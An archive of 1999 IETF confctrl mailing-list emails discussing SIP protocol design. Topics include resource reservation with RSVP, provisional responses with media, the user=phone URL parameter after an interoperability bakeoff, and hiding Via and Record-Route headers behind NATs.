Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA13399
	for <confctrl@ISI.EDU>; Fri, 18 Jun 1999 07:37:05 -0700 (PDT)
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.28922-0@bells.cs.ucl.ac.uk>; Fri, 18 Jun 1999 15:36:45 +0100
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: confctrl@ISI.EDU
Subject: Re: White paper on interaction of SIP and resource reservation
In-reply-to: Your message of "Fri, 11 Jun 1999 21:08:57 EDT." <3761B329.3790B57C@cs.columbia.edu>
Date: Fri, 18 Jun 1999 15:36:44 +0100
Message-ID: <1953.929716604@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <3761B329.3790B57C@cs.columbia.edu>, Henning Schulzrinne typed:

 >>See http://www.cs.columbia.edu/~hgs/sip/drafts/resource.pdf
 >>Comments are appreciated. The Internet draft will follow shortly.
 
 Henning

ok - so to create the same "atomic" "user-user+user-net" signal out of
the three piece suite that is
sip + (rsvp a->b +rsvp b->a)
clearly we need to have 2 phases at least
sip request + sip commit
and
rsvp tentative request/probe + rsvp commit

then we need to unravel the two questions of 
reservation theft of service versus
reservation denial of service

clearly, given all this is motivated by megaco or voip/pstn gateways,
theft of service is a bigger threat than denial, so we need to err i
noru design in favour of denial, and then engineer solutins for
limiting the denial of service dfamge (e.g. limit the rate of
tentative rsvp state setup to some maxmimum is the nornmal telephony
signalling type hack)...

so with this abstraction, i think there are two alternateives to your
proposals in the paper above - i leave these as an excercise for the
student...

 cheers

   jon


From confctrl-owner  Fri Jun 18 09:39:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA27730
	for confctrl-outgoing; Fri, 18 Jun 1999 09:39:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA27725
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 09:39:39 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21674
	for <confctrl@isi.edu>; Fri, 18 Jun 1999 09:39:37 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id LAA04944
	for <confctrl@isi.edu>; Fri, 18 Jun 1999 11:39:07 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id LAA20038
	for <confctrl@isi.edu>; Fri, 18 Jun 1999 11:39:06 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id LAA16415 for <confctrl@isi.edu>; Fri, 18 Jun 1999 11:39:04 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id LAA04431
	for confctrl@isi.edu; Fri, 18 Jun 1999 11:39:02 -0500 (CDT)
Message-Id: <199906181639.LAA04431@b04a24.exu.ericsson.se>
Subject: <draft-roach-mmusic-sip-provisional-media-00.txt>
To: confctrl@ISI.EDU
Date: Fri, 18 Jun 1999 11:39:02 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The following draft is now available from the IETF Internet Drafts archive:

"Provisional SIP Responses with Media"

Abstract

     This document describes an extension of the SIP protocol which
     allows transit of SDP in provisional INVITE responses, so that
     media may be transferred before a final connection is
     established.

http://www.ietf.org/internet-drafts/draft-roach-mmusic-sip-provisional-media-00.txt

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Jun 18 12:09:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA02483
	for confctrl-outgoing; Fri, 18 Jun 1999 12:09:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA02478
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 12:09:51 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA11341
	for <confctrl@ISI.EDU>; Fri, 18 Jun 1999 12:09:50 -0700 (PDT)
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #38416)
 id <0FDJ00E01AMWPD@firewall.mcit.com> for confctrl@ISI.EDU; Fri,
 18 Jun 1999 18:04:35 +0000 (GMT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FDJ00E0Q92ZMS@firewall.mcit.com>; Fri,
 18 Jun 1999 17:11:24 +0000 (GMT)
Received: from omzmta03.mcit.com (omzmta03.mcit.com [166.37.194.121])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id RAA17022; Fri,
 18 Jun 1999 17:07:45 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omzmta03.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990618171123.TPYS985@localHost>; Fri,
 18 Jun 1999 17:11:23 +0000
Date: Fri, 18 Jun 1999 12:11 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: URL user parameter
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Confctrl <confctrl@ISI.EDU>
Message-id: <19990618171123.TPYS985@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan,

 In discussions with Cisco personel, we ran into some questions about
the user parameter in a URL.  We had supplied some examples using this
parameter.  They noted that going into the bakeoff they had included
it in their URLs, but most others had not, and you had told them it
should not be present, so they removed it.  Section 2 of the RFC clearly
allows user=phone for calls from pstn gateways, and only makes mention
that "... without this parameter, recipients of SIP URLs MAY interpret
the pre- @ part as a phone number if local restrictions on the name
space for user name allow it."

 Can you help me understand what recommendations may have been made
during the bakeoff regarding this issue?  I am trying to understand
if we should be asking for it to be included, and Cisco is concerned
about interoperability.  It seems to remove any possible ambiguity
about the source of the URL, and I don't understand why recommendations
may have been made to remove it.  Is this a misunderstanding?


John Hearty
MCI Worldcom


From confctrl-owner  Fri Jun 18 13:23:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA04940
	for confctrl-outgoing; Fri, 18 Jun 1999 13:23:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA04935
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 13:23:16 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA18588
	for <confctrl@ISI.EDU>; Fri, 18 Jun 1999 13:23:14 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id QAA26447;
	Fri, 18 Jun 1999 16:22:33 -0400 (EDT)
Message-ID: <376AAA89.2A220F3A@cisco.com>
Date: Fri, 18 Jun 1999 16:22:33 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Confctrl <confctrl@ISI.EDU>
Subject: Re: URL user parameter
References: <19990618171123.TPYS985@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John, We referred to the URL in the Request-URI not the URL in the
From/To. 

Shail

John Hearty wrote:
> 
> Jonathan,
> 
>  In discussions with Cisco personel, we ran into some questions about
> the user parameter in a URL.  We had supplied some examples using this
> parameter.  They noted that going into the bakeoff they had included
> it in their URLs, but most others had not, and you had told them it
> should not be present, so they removed it.  Section 2 of the RFC clearly
> allows user=phone for calls from pstn gateways, and only makes mention
> that "... without this parameter, recipients of SIP URLs MAY interpret
> the pre- @ part as a phone number if local restrictions on the name
> space for user name allow it."
> 
>  Can you help me understand what recommendations may have been made
> during the bakeoff regarding this issue?  I am trying to understand
> if we should be asking for it to be included, and Cisco is concerned
> about interoperability.  It seems to remove any possible ambiguity
> about the source of the URL, and I don't understand why recommendations
> may have been made to remove it.  Is this a misunderstanding?
> 
> John Hearty
> MCI Worldcom

From confctrl-owner  Fri Jun 18 15:04:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA08181
	for confctrl-outgoing; Fri, 18 Jun 1999 15:04:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA08176
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 15:04:03 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28262
	for <confctrl@ISI.EDU>; Fri, 18 Jun 1999 15:04:02 -0700 (PDT)
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #38416)
 id <0FDJ00L01L1DPS@firewall.mcit.com> for confctrl@ISI.EDU; Fri,
 18 Jun 1999 21:35:54 +0000 (GMT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FDJ00IH2L6HCI@firewall.mcit.com>; Fri,
 18 Jun 1999 21:32:41 +0000 (GMT)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id VAA09837; Fri,
 18 Jun 1999 21:32:01 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omta1.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990618213220.WGTQ20950@localHost>; Fri,
 18 Jun 1999 16:32:20 -0500
Date: Fri, 18 Jun 1999 16:32 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: URL user parameter
To: Shail Bhatnagar <shbhatna@cisco.com>
Cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Confctrl <confctrl@ISI.EDU>
Message-id: <19990618213220.WGTQ20950@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 Thanks for the clarification of which URL, but the basic question
to Jonathan still remains.  Perhaps section 2 and 4.3 needs to be 
updated if there is a good reason not to include this.

John


>John, We referred to the URL in the Request-URI not the URL in the
>From/To. 
>
>Shail
>
>John Hearty wrote:
>> 
>> Jonathan,
>> 
>>  In discussions with Cisco personel, we ran into some questions about
>> the user parameter in a URL.  We had supplied some examples using this
>> parameter.  They noted that going into the bakeoff they had included
>> it in their URLs, but most others had not, and you had told them it
>> should not be present, so they removed it.  Section 2 of the RFC clearly
>> allows user=phone for calls from pstn gateways, and only makes mention
>> that "... without this parameter, recipients of SIP URLs MAY interpret
>> the pre- @ part as a phone number if local restrictions on the name
>> space for user name allow it."
>> 
>>  Can you help me understand what recommendations may have been made
>> during the bakeoff regarding this issue?  I am trying to understand
>> if we should be asking for it to be included, and Cisco is concerned
>> about interoperability.  It seems to remove any possible ambiguity
>> about the source of the URL, and I don't understand why recommendations
>> may have been made to remove it.  Is this a misunderstanding?
>> 
>> John Hearty
>> MCI Worldcom

From confctrl-owner  Fri Jun 18 21:39:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA10343
	for confctrl-outgoing; Fri, 18 Jun 1999 21:39:36 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA10325
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 21:39:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id VAA06129
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 21:26:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA26886
	for <confctrl@isi.edu>; Fri, 18 Jun 1999 21:26:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Sat Jun 19 00:25:53 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.230])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA14665;
	Sat, 19 Jun 1999 00:25:51 -0400 (EDT)
Message-ID: <376B1BF6.726F184D@dnrc.bell-labs.com>
Date: Sat, 19 Jun 1999 00:26:30 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: Confctrl <confctrl@ISI.EDU>
Subject: Re: URL user parameter
References: <19990618171123.TPYS985@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
> Jonathan,
> 
>  In discussions with Cisco personel, we ran into some questions about
> the user parameter in a URL.  We had supplied some examples using this
> parameter.  They noted that going into the bakeoff they had included
> it in their URLs, but most others had not, and you had told them it
> should not be present, so they removed it.  Section 2 of the RFC clearly
> allows user=phone for calls from pstn gateways, and only makes mention
> that "... without this parameter, recipients of SIP URLs MAY interpret
> the pre- @ part as a phone number if local restrictions on the name
> space for user name allow it."

The original purpose of this tag, as I recall, was to allow a server to
determine if the BNF for the user portion of the SIP URL was that of
telephone-subscriber, or just a generic token. It seemed reasonable that
a server might want to know in order to properly route the call. When
user=phone, the user portion is a phone number, formatted as
telephone-subscriber. However, a server can be configured to route in
any way, and thus it could interpret (if so configured) the user portion
of the URL as a phone number, even if this tag didn't indicate that it
was a number. 

So, for example, consider the following URL's:

sip:+1-212-555-1212:1234@gateway.com;user=phone
sip:1212@gateway.com

The first has the user=phone parameter, so the server (in this case, a
gateway UAS it seems) knows to interpret the user portion of the URL
(+1-212-555-1212) according to telephone-subscriber. In the second case,
there is no user parameter. However, since the server is a gateway, its
perfectly reasonable for it to try to look up 1212 in its databases as a
phone number to determine how to treat it. 

Now, I admit I don't recall telling the Cisco folks to remove it from
the Request-URI at the bakeoff. I found no mention of the issue in the
notes we took at the bakeoff. But, it was a hectic two days and I may
have said this. There was general confusion about what parameters were
allowed in the Request-URI. At some point, I think we believed none of
them should really be permitted. I have recently become less sure about
that, and think nearly all should be permitted. 

However, the user param does seem a definite candidate for inclusion in
the Request-URI. Since its helpful for servers to make routing
decisions, and these decisions are usually based on the Request-URI and
not the To field, I believe its reasonable to allow it in the request
URI. It is certainly not mandatory to do so - i.e., if a UAC dials a
phone number, it doesn't have to be present. I don't think its absence
would affect interoperability at all, since interpretation of the user
portion is always according to local namespace, which can be configured
in any way desired.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jun 18 22:10:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA11110
	for confctrl-outgoing; Fri, 18 Jun 1999 22:10:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA11105
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 22:10:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA28455
	for <confctrl@isi.edu>; Fri, 18 Jun 1999 22:10:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Sat Jun 19 01:09:22 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.230])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA14825;
	Sat, 19 Jun 1999 01:09:19 -0400 (EDT)
Message-ID: <376B2625.38E87D29@dnrc.bell-labs.com>
Date: Sat, 19 Jun 1999 01:09:57 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: Alan Johnston <alan.johnston@wcom.com>,
        "confctrl@ISI.EDU" <confctrl@ISI.EDU>
Subject: Re: Hide interaction with Record-Route
References: <376901DE.77113D5E@wcom.com> <37699855.1121E676@dnrc.bell-labs.com> <376A0C87.38EAEB4E@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lars Berggren wrote:
> 

> > Unfortunately, requests in the reverse direction will also be routed
> > (using a reversed version of the list). This is not in the base spec,
> > but has been identified previously as an omission. In this case, the
> > Record-Route list received at the UAS will be completely encrypted. The
> > Route headers generated will therefore be encrypted as well (note they
> > are not encrypted at the caller). As the reverse request is forwarded,
> > each proxy must try to decrypt the Record-Route used by the next hop. In
> > this direction, the problem you point out does exist - sip3 must be on
> > the Record-Route path.
> >
> > However, requests from the originator will contain Route headers which
> > must be ENCRYPTED rather than decrypted, presuming we want to safeguard
> > the Route headers too.
> 
> Must they? I'm not sure I understand what you mean, correct me if I am
> wrong, but the route list does not contain any upstream addresses to
> encrypt since each hop removes the next hop from the list, does it? Or
> is it the downstream addresses you mean?

Sorry; you're right. There would be no need for encryption as they are
stripped.


> 
> > This is particularly nasty, since the proxies
> > can't easily tell whether they are in the "forward" or "reverse"
> > directions from the message alone. The behavior is different in each
> > case - one is try to encrypt, and the other is try to decrypt.
> >
> 
> Can not this be solved with a ;hidden parameter similar to the Via
> header?

Yes, I think that would work.

> 
> > It was never that clear to me how useful hiding the Via fields is. Other
> > stuff which seems more important (To and From) goes in the clear. Given
> > the complication here, I think we need to be sure its worth pursuing a
> > solution. I don't know of anyone who has implemented Via hiding yet
> > (speak up if you have), and this feature seemed a candidate for
> > potential removal at draft if no one found it useful.
> 
> I think Via hiding is a very useful feature for NATs, where the task is
> to hide local addresses.

The task of a NAT is not to hide these addresses, but to translate them
because they aren't globally routable. Fortunately, the Route and Via
headers don't need to contain globally routable addresses, since they
are interpreted only by hosts within the same context where the
addresses are valid. 

Even if a nat did wish to hide the internal addresses for security,
there are other ways to do this besides the hiding mechanism. The NAT
could simply remove both the Route and Via headers so far, and store
them in a table indexed by the transaction and Call-ID. The forwarded
request then looks as if it was originated from the NAT. When the
response comes, the Via and Record-Routes are added back in as the
response is forwarded. Same for requests in the reverse direction - the
Route headers would be placed in the request based on the Record-Route
headers in the table. Unfortunately, the NAT has to hold these entries
for a while (until the call is over). But, this is the same amount of
time a NAT using the hiding mechanism would need to remember how to
decrypt the Record-Route headers. These headers cannot just be encrypted
as is; they must be encrypted with some random salt otherwise the path
can still be guessed. Thus, to decrypt the Route headers in requests in
the reverse direction, the proxy must remember what random number it
used, for the duration of the call. 

The SDP will anyway contain an IP address and port for media that cannot
be hidden.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sun Jun 20 08:16:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA16982
	for confctrl-outgoing; Sun, 20 Jun 1999 08:16:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16977
	for <confctrl@zephyr.isi.edu>; Sun, 20 Jun 1999 08:16:26 -0700 (PDT)
Received: from sheffield.cnchost.com (sheffield.concentric.net [207.155.252.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16068
	for <confctrl@ISI.EDU>; Sun, 20 Jun 1999 08:16:26 -0700 (PDT)
Received: from ts005d48.cht-ma.concentric.net (ts005d48.cht-ma.concentric.net [206.173.19.252])
	by sheffield.cnchost.com (8.9.3/)
	id LAA18044; Sun, 20 Jun 1999 11:16:19 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.5]
Date: Sun, 20 Jun 1999 11:18:05 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: John Hearty <John.H.Hearty@wcom.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: URL user parameter
In-Reply-To: <376B1BF6.726F184D@dnrc.bell-labs.com>
Message-ID: <Pine.LNX.4.10.9906201103220.1198-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I agree with Jonathan about the original meaning of the user=phone tag.
I have always assumed that it really only expresses a caller preference:

My phone number happens to be 617-738-7225. This truly identifies a
particular pair of copper wires which lead into my home. However, it is
possible that I might wish to use this number as my SIP alias, so that
when someone tries to "call" the number 617-738-7225, it is not my phone
which rings, but some other device (depending on the logic installed
in various SIP servers). How can the caller express the sentiment "Please
invite the *phone device* 617-738-7225, not the *user alias* 617-38-7225?

The caller does this by adding the "user=phone" parameter to the URL.

As Jonathan said, there is no guarantee that this will result in a phone
ringing, nor does this really affect interoperability. 

Here is an analogy to show how natural and useful this parameter is:

When I use the call-forward service, all calls to the number 617-738-7225
make some other phone ring. Alas, there is no way for the caller to
express the preference "please call 617-738-7225, and annul all fancy
dancy logic if possible -- just ring the *real* device addressed by that
phone number." 

This service would be very complicated to do in the PSTN, and the user
interface would be a nightmare. But more than once I wished I had such
a service.

All this note is doing is saying that the tag is useful, despite the fact
that it does not guarantee that a phone is going to ring when it is used.

Scott



On Sat, 19 Jun 1999, Jonathan Rosenberg wrote:

> John Hearty wrote:
> > 
> > Jonathan,
> > 
> >  In discussions with Cisco personel, we ran into some questions about
> > the user parameter in a URL.  We had supplied some examples using this
> > parameter.  They noted that going into the bakeoff they had included
> > it in their URLs, but most others had not, and you had told them it
> > should not be present, so they removed it.  Section 2 of the RFC clearly
> > allows user=phone for calls from pstn gateways, and only makes mention
> > that "... without this parameter, recipients of SIP URLs MAY interpret
> > the pre- @ part as a phone number if local restrictions on the name
> > space for user name allow it."
> 
> The original purpose of this tag, as I recall, was to allow a server to
> determine if the BNF for the user portion of the SIP URL was that of
> telephone-subscriber, or just a generic token. It seemed reasonable that
> a server might want to know in order to properly route the call. When
> user=phone, the user portion is a phone number, formatted as
> telephone-subscriber. However, a server can be configured to route in
> any way, and thus it could interpret (if so configured) the user portion
> of the URL as a phone number, even if this tag didn't indicate that it
> was a number. 
> 
> So, for example, consider the following URL's:
> 
> sip:+1-212-555-1212:1234@gateway.com;user=phone
> sip:1212@gateway.com
> 
> The first has the user=phone parameter, so the server (in this case, a
> gateway UAS it seems) knows to interpret the user portion of the URL
> (+1-212-555-1212) according to telephone-subscriber. In the second case,
> there is no user parameter. However, since the server is a gateway, its
> perfectly reasonable for it to try to look up 1212 in its databases as a
> phone number to determine how to treat it. 
> 
> Now, I admit I don't recall telling the Cisco folks to remove it from
> the Request-URI at the bakeoff. I found no mention of the issue in the
> notes we took at the bakeoff. But, it was a hectic two days and I may
> have said this. There was general confusion about what parameters were
> allowed in the Request-URI. At some point, I think we believed none of
> them should really be permitted. I have recently become less sure about
> that, and think nearly all should be permitted. 
> 
> However, the user param does seem a definite candidate for inclusion in
> the Request-URI. Since its helpful for servers to make routing
> decisions, and these decisions are usually based on the Request-URI and
> not the To field, I believe its reasonable to allow it in the request
> URI. It is certainly not mandatory to do so - i.e., if a UAC dials a
> phone number, it doesn't have to be present. I don't think its absence
> would affect interoperability at all, since interpretation of the user
> portion is always according to local namespace, which can be configured
> in any way desired.
> 
> -Jonathan R.
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
> 


From confctrl-owner  Sun Jun 20 12:44:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA21628
	for confctrl-outgoing; Sun, 20 Jun 1999 12:44:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21623
	for <confctrl@zephyr.isi.edu>; Sun, 20 Jun 1999 12:44:35 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21509
	for <confctrl@ISI.EDU>; Sun, 20 Jun 1999 12:44:35 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id OAA05181;
	Sun, 20 Jun 1999 14:44:04 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id OAA20678;
	Sun, 20 Jun 1999 14:44:04 -0500 (CDT)
Received: from b04a42.exu.ericsson.se (b04a42.exu.ericsson.se [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA12160; Sun, 20 Jun 1999 14:44:01 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a42.exu.ericsson.se (8.9.1/8.9.1) id OAA25741;
	Sun, 20 Jun 1999 14:43:59 -0500 (CDT)
Date: Sun, 20 Jun 1999 14:43:59 -0500 (CDT)
Message-Id: <199906201943.OAA25741@b04a42.exu.ericsson.se>
To: John.H.Hearty@wcom.com, jdrosen@dnrc.bell-labs.com
Subject: Re: URL user parameter
Cc: confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> From confctrl-owner@ISI.EDU  Sat Jun 19 01:58:36 1999
> Date: Sat, 19 Jun 1999 00:26:30 -0400
> From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
> Organization: Bell Laboratories
> X-Mailer: Mozilla 4.05 [en] (Win95; U)
> MIME-Version: 1.0
> To: John Hearty <John.H.Hearty@wcom.com>
> CC: Confctrl <confctrl@ISI.EDU>
> Subject: Re: URL user parameter
> Content-Transfer-Encoding: 7bit
> Sender: owner-confctrl@ISI.EDU
> 
> John Hearty wrote:
> > 
> Now, I admit I don't recall telling the Cisco folks to remove it from
> the Request-URI at the bakeoff. I found no mention of the issue in the
> notes we took at the bakeoff. But, it was a hectic two days and I may
> have said this. There was general confusion about what parameters were
> allowed in the Request-URI. At some point, I think we believed none of
> them should really be permitted. I have recently become less sure about
> that, and think nearly all should be permitted. 
> 
> However, the user param does seem a definite candidate for inclusion in
> the Request-URI. Since its helpful for servers to make routing
> decisions, and these decisions are usually based on the Request-URI and
> not the To field, I believe its reasonable to allow it in the request
> URI. It is certainly not mandatory to do so - i.e., if a UAC dials a
> phone number, it doesn't have to be present. I don't think its absence
> would affect interoperability at all, since interpretation of the user
> portion is always according to local namespace, which can be configured
> in any way desired.
> 

If I recall the SIP bake-off correctly, there was some discussion as to what
parameters a proxy should strip (disallow) in a Request-URI and the consensus(?)
was that only the user parameter was allowed in a Request-URI. This matches
the text in section 4.3. 

Its usage is pretty straightforward and valuable in certain contexts. For
interoperability purposes, the user parameter seems mostly just a hint as 
it is up to the server to interpret the Request-URI. I can't imagine that its
